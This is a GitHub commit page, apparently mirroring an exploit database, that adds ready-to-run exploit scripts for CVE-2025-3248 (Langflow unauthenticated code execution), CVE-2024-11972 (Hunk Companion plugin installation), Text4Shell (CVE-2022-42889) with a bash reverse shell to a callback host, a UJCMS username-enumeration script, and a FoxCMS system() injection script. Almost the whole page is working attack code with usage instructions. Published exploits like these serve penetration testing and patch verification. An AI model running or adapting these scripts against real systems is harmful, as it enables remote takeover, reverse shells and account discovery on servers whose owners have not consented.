Skip to content

Commit f94ab9c

Browse files
author
certcc-ghbot
committed
Merge remote-tracking branch 'upstream/main'
2 parents bacf52b + 71bfc9b commit f94ab9c

File tree

10 files changed

+934
-0
lines changed

10 files changed

+934
-0
lines changed

‎exploits/multiple/remote/52262.txt‎

Lines changed: 107 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,107 @@
1+
# Exploit Title: Langflow 1.3.0 - Remote Code Execution (RCE)
2+
# Date: 2025-04-17
3+
# Exploit Author: VeryLazyTech
4+
# Vendor Homepage: http://www.langflow.org/
5+
# Software Link: https://github.com/langflow-ai/langflow
6+
# Version: Langflow < 1.3.0
7+
# Tested on: Windows Server 2019
8+
# CVE: CVE-2025-3248
9+
# CVE-2025-3248 - Remote and unauthenticated attacker can send crafted HTTP requests to execute arbitrary code
10+
# FOFA "Langflow"
11+
# Medium: https://medium.com/@verylazytech
12+
# GitHub: https://github.com/verylazytech
13+
# Shop: https://shop.verylazytech.com
14+
# Website: https://www.verylazytech.com
15+
16+
import argparse
17+
import requests
18+
import json
19+
from urllib.parse import urljoin
20+
import random
21+
from colorama import init, Fore, Style
22+
23+
# Disable SSL warnings
24+
requests.packages.urllib3.disable_warnings()
25+
26+
# Initialize colorama
27+
init(autoreset=True)
28+
29+
# Constants
30+
ENDC = "\033[0m"
31+
ENCODING = "UTF-8"
32+
COLORS = [Fore.GREEN, Fore.CYAN, Fore.BLUE]
33+
34+
def banner():
35+
random_color = random.choice(COLORS)
36+
return f"""{Style.BRIGHT}{random_color}
37+
______ _______ ____ ___ ____ ____ _________ _ _ ___
38+
/ ___\ \ / / ____| |___ \ / _ \___ \| ___| |___ /___ \| || | ( _ )
39+
| | \ \ / /| _| __) | | | |__) |___ \ |_ \ __) | || |_ / _ \
40+
| |___ \ V / | |___ / __/| |_| / __/ ___) | ___) / __/|__ _| (_) |
41+
\____| \_/ |_____| |_____|\___/_____|____/ |____/_____| |_| \___/
42+
43+
44+
__ __ _ _____ _
45+
\ \ / /__ _ __ _ _ | | __ _ _____ _ |_ _|__ ___| |__
46+
\ \ / / _ \ '__| | | | | | / _` |_ / | | | | |/ _ \/ __| '_ \
47+
\ V / __/ | | |_| | | |__| (_| |/ /| |_| | | | __/ (__| | | |
48+
\_/ \___|_| \__, | |_____\__,_/___|\__, | |_|\___|\___|_| |_|
49+
|___/ |___/
50+
51+
{Style.BRIGHT}{Fore.WHITE}@VeryLazyTech - Medium {Style.RESET_ALL}\n
52+
{Style.RESET_ALL}
53+
"""
54+
55+
print(banner())
56+
57+
class LangflowScanner:
58+
def __init__(self, url, timeout=10):
59+
self.url = url.rstrip('/')
60+
self.timeout = timeout
61+
self.session = requests.Session()
62+
self.session.verify = False
63+
self.session.headers.update({
64+
'User-Agent': 'Mozilla/5.0',
65+
'Content-Type': 'application/json',
66+
'Accept': 'application/json',
67+
})
68+
69+
def exploit(self, command):
70+
endpoint = urljoin(self.url, '/api/v1/validate/code')
71+
payload = {
72+
"code": f"""
73+
def run(cd=exec('raise Exception(__import__("subprocess").check_output("{command}", shell=True))')): pass
74+
"""
75+
}
76+
77+
try:
78+
print(f"{Fore.YELLOW}[*] Sending payload to {endpoint}")
79+
response = self.session.post(endpoint, json=payload, timeout=self.timeout)
80+
print(f"{Fore.YELLOW}[*] Status Code: {response.status_code}")
81+
print(f"{Fore.YELLOW}[*] Raw Response: {response.text}")
82+
83+
if response.status_code == 200:
84+
try:
85+
data = response.json()
86+
error_msg = data.get("function", {}).get("errors", [""])[0]
87+
if isinstance(error_msg, str) and error_msg.startswith("b'"):
88+
output = error_msg[2:-1].encode().decode('unicode_escape').strip()
89+
return output
90+
except Exception as e:
91+
return f"[!] Failed to parse response: {str(e)}"
92+
return f"[!] Exploit failed with status {response.status_code}"
93+
except requests.RequestException as e:
94+
return f"[!] Request failed: {str(e)}"
95+
96+
def main():
97+
parser = argparse.ArgumentParser(description="Langflow CVE-2025-3248 Exploit")
98+
parser.add_argument("url", help="Target base URL (e.g., http://host:port)")
99+
parser.add_argument("cmd", help="Command to execute (e.g., whoami)")
100+
args = parser.parse_args()
101+
102+
scanner = LangflowScanner(args.url)
103+
result = scanner.exploit(args.cmd)
104+
print(f"{Fore.GREEN}[+] Command Output:\n{result}")
105+
106+
if __name__ == "__main__":
107+
main()

‎exploits/multiple/webapps/52259.py‎

Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
# Exploit Title: Hunk Companion Plugin 1.9.0 - Unauthenticated Plugin Installation
2+
# Date: 16 December, 2024
3+
# Exploit Author: Jun Takemura
4+
# Author's GitHub: https://github.com/JunTakemura
5+
# Author's Blog: juntakemura.dev
6+
# Vendor Homepage: https://themehunk.com
7+
# Software Link: https://wordpress.org/plugins/hunk-companion/
8+
# Version: Tested on Hunk Companion 1.8.8
9+
# CVE: CVE-2024-11972
10+
# Vulnerability Description:
11+
# Exploits a flaw in the Hunk Companion plugin's permission_callback for the
12+
# /wp-json/hc/v1/themehunk-import endpoint, allowing unauthenticated attackers
13+
# to install and activate arbitrary plugins from the WordPress.org repository.
14+
# Tested on: Ubuntu
15+
# Original vulnerability discovered by: Daniel Rodriguez
16+
#
17+
# Usage:
18+
# 1. Update `target_url` below with the target WordPress site's URL.
19+
# 2. Update `plugin_name` with the slug of the plugin you want to install.
20+
# 3. Run: python3 exploit.py
21+
#
22+
import requests
23+
from urllib.parse import urljoin
24+
25+
# Update 'URL' with your target WordPress site URL, for example "http://localhost/wordpress"
26+
target_url = "URL"
27+
28+
# Update 'NAME' with desired plugin's name (slug), for example "wp-query-console"
29+
plugin_name = "NAME"
30+
31+
endpoint = "/wp-json/hc/v1/themehunk-import"
32+
url = urljoin(target_url, endpoint)
33+
34+
payload = {
35+
"params": {
36+
"plugin": {
37+
plugin_name: "Plugin Label"
38+
},
39+
"allPlugins": [
40+
{
41+
plugin_name: f"{plugin_name}/{plugin_name}.php"
42+
}
43+
],
44+
"themeSlug": "theme",
45+
"proThemePlugin": "plugin",
46+
"templateType": "free",
47+
"tmplFreePro": "theme",
48+
"wpUrl": target_url
49+
}
50+
}
51+
52+
headers = {
53+
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64)",
54+
"Content-Type": "application/json"
55+
}
56+
57+
try:
58+
response = requests.post(url, json=payload, headers=headers, timeout=10)
59+
response.raise_for_status() # Raises an HTTPError if the response is not 2xx
60+
61+
print(f"[+] Exploit sent successfully.")
62+
print(f"Response Status Code: {response.status_code}")
63+
print(f"Response Body: {response.text}")
64+
except requests.exceptions.RequestException as e:
65+
print(f"[-] Request failed: {e}")

‎exploits/multiple/webapps/52261.py‎

Lines changed: 58 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,58 @@
1+
# Exploit Title: Apache Commons Text 1.10.0 - Remote Code Execution
2+
(Text4Shell - POST-based)
3+
# Date: 2025-04-17
4+
# Exploit Author: Arjun Chaudhary
5+
# Vendor Homepage: https://commons.apache.org/proper/commons-text/
6+
# Software Link:https://repo1.maven.org/maven2/org/apache/commons/commons-text/
7+
# Version: Apache Commons Text < 1.10.0
8+
# Tested on: Ubuntu 20.04 (Docker container), Java 11+, Apache Commons Text 1.9
9+
# CVE: CVE-2022-42889
10+
# Type: Remote Code Execution (RCE)
11+
# Method: POST request, script interpolator
12+
# Notes: This exploit demonstrates an RCE vector via POST data, differing
13+
from common GET-based payloads.
14+
15+
#!/usr/bin/env python3
16+
17+
import urllib.parse
18+
import http.client
19+
import sys
20+
21+
def usage():
22+
print("Usage: python3 text4shell.py <target_ip> <callback_ip> <callback_port>")
23+
print("Example: python3 text4shell.py 127.0.0.1 192.168.22.128 4444")
24+
sys.exit(1)
25+
26+
if len(sys.argv) != 4:
27+
usage()
28+
29+
target_ip = sys.argv[1]
30+
callback_ip = sys.argv[2]
31+
callback_port = sys.argv[3]
32+
33+
raw_payload = (
34+
f"${{script:javascript:var p=java.lang.Runtime.getRuntime().exec("
35+
f"['bash','-c','bash -c \\'exec bash -i >& /dev/tcp/{callback_ip}/{callback_port} 0>&1\\''])}}"
36+
)
37+
38+
39+
encoded_payload = urllib.parse.quote(raw_payload)
40+
41+
42+
path = f"/?data={encoded_payload}" # modify the parameter according to your target
43+
44+
print(f"[!] Remember to modify the parameter according to your target")
45+
print(f"[+] Target: http://{target_ip}{path}")
46+
print(f"[+] Payload (decoded): {raw_payload}")
47+
48+
49+
conn = http.client.HTTPConnection(target_ip, 80)
50+
conn.request("POST", path, body="", headers={
51+
"Host": target_ip,
52+
"Content-Type": "application/json",
53+
"Content-Length": "0"
54+
})
55+
response = conn.getresponse()
56+
print(f"[+] Response Status: {response.status}")
57+
print(response.read().decode())
58+
conn.close()

‎exploits/multiple/webapps/52264.py‎

Lines changed: 61 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,61 @@
1+
# Exploit Title: UJCMS 9.6.3 User Enumeration via IDOR
2+
# Exploit Author: Cyd Tseng
3+
# Date: 11 Dec 2024
4+
# Category: Web application
5+
# Vendor Homepage: https://dromara.org/
6+
# Software Link: https://github.com/dromara/ujcms
7+
# Version: UJCMS 9.6.3
8+
# Tested on: Linux
9+
# CVE: CVE-2024-12483
10+
# Advisory: https://github.com/cydtseng/Vulnerability-Research/blob/main/ujcms/IDOR-UsernameEnumeration.md
11+
12+
"""
13+
14+
An Insecure Direct Object Reference (IDOR) vulnerability was discovered in UJCMS version 9.6.3 that allows unauthenticated enumeration of usernames through the manipulation of the user id parameter in the /users/id endpoint. While the user IDs are generally large numbers (e.g., 69278363520885761), with the exception of the admin and anonymous account, unauthenticated attackers can still systematically discover usernames of existing accounts.
15+
16+
"""
17+
18+
19+
import requests
20+
from bs4 import BeautifulSoup
21+
import time
22+
import re
23+
24+
BASE_URL = 'http://localhost:8080/users/{}' # Modify as necessary!
25+
HEADERS = {
26+
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36',
27+
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
28+
'Connection': 'keep-alive'
29+
}
30+
31+
def fetch_user_data(user_id):
32+
url = BASE_URL.format(user_id)
33+
try:
34+
response = requests.get(url, headers=HEADERS)
35+
if response.status_code == 200:
36+
soup = BeautifulSoup(response.content, 'html.parser')
37+
title = soup.title.string.strip()
38+
if title.lower() != '404':
39+
username = re.sub(r' - UJCMS演示站$', '', title)
40+
return user_id, username
41+
return None
42+
except requests.RequestException as e:
43+
print(f"Error fetching data for user ID {user_id}: {e}")
44+
return None
45+
46+
def user_id_generator(start, end):
47+
for user_id in range(start, end + 1):
48+
yield user_id
49+
50+
def enumerate_users(start_id, end_id):
51+
for user_id in user_id_generator(start_id, end_id):
52+
user_data = fetch_user_data(user_id)
53+
if user_data:
54+
print(f"Valid user found: ID {user_data[0]} with username '{user_data[1]}'")
55+
time.sleep(0.1)
56+
57+
if __name__ == '__main__':
58+
start_id = int(input("Enter the starting user ID: "))
59+
end_id = int(input("Enter the ending user ID: "))
60+
print(f"Starting enumeration from ID {start_id} to {end_id}...")
61+
enumerate_users(start_id, end_id)

‎exploits/multiple/webapps/52267.bash‎

Lines changed: 63 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,63 @@
1+
# Date: 2025-04-17
2+
# Exploit Title:
3+
# Exploit Author: VeryLazyTech
4+
# Vendor Homepage: https://www.foxcms.org/
5+
# Software Link: https://www.foxcms.cn/
6+
# Version: FoxCMS v.1.2.5
7+
# Tested on: Ubuntu 22.04, Windows Server 2019
8+
# CVE: CVE-2025-29306
9+
# Website: https://www.verylazytech.com
10+
11+
#!/bin/bash
12+
13+
banner() {
14+
cat <<'EOF'
15+
______ _______ ____ ___ ____ ____ ____ ___ _____ ___ __
16+
/ ___\ \ / / ____| |___ \ / _ \___ \| ___| |___ \ / _ \___ / / _ \ / /_
17+
| | \ \ / /| _| __) | | | |__) |___ \ __) | (_) ||_ \| | | | '_ \
18+
| |___ \ V / | |___ / __/| |_| / __/ ___) | / __/ \__, |__) | |_| | (_) |
19+
\____| \_/ |_____| |_____|\___/_____|____/ |_____| /_/____/ \___/ \___/
20+
21+
__ __ _ _____ _
22+
\ \ / /__ _ __ _ _ | | __ _ _____ _ |_ _|__ ___| |__
23+
\ \ / / _ \ '__| | | | | | / _` |_ / | | | | |/ _ \/ __| '_ \
24+
\ V / __/ | | |_| | | |__| (_| |/ /| |_| | | | __/ (__| | | |
25+
\_/ \___|_| \__, | |_____\__,_/___|\__, | |_|\___|\___|_| |_|
26+
|___/ |___/
27+
28+
29+
@VeryLazyTech - Medium
30+
31+
EOF
32+
33+
}
34+
35+
# Call the banner function
36+
banner
37+
38+
set -e
39+
40+
# Check for correct number of arguments
41+
if [ "$#" -ne 2 ]; then
42+
printf "Usage: $0 <url> <command>"
43+
exit 1
44+
fi
45+
46+
TARGET=$1
47+
48+
# Encode payload
49+
ENCODED_CMD=$(python3 -c "import urllib.parse; print(urllib.parse.quote('\${@print_r(@system(\"$2\"))}'))")
50+
FULL_URL="${TARGET}?id=${ENCODED_CMD}"
51+
52+
echo "[*] Sending RCE payload: $2"
53+
HTML=$(curl -s "$FULL_URL")
54+
55+
# Extract <ul> from known XPath location using xmllint
56+
UL_CONTENT=$(echo "$HTML" | xmllint --html --xpath "/html/body/header/div[1]/div[2]/div[1]/ul" - 2>/dev/null)
57+
58+
# Strip tags, clean up
59+
CLEANED=$(echo "$UL_CONTENT" | sed 's/<[^>]*>//g' | sed '/^$/d' | sed 's/^[[:space:]]*//')
60+
61+
echo
62+
echo "[+] Command Output:"
63+
echo "$CLEANED"

0 commit comments

Comments
 (0)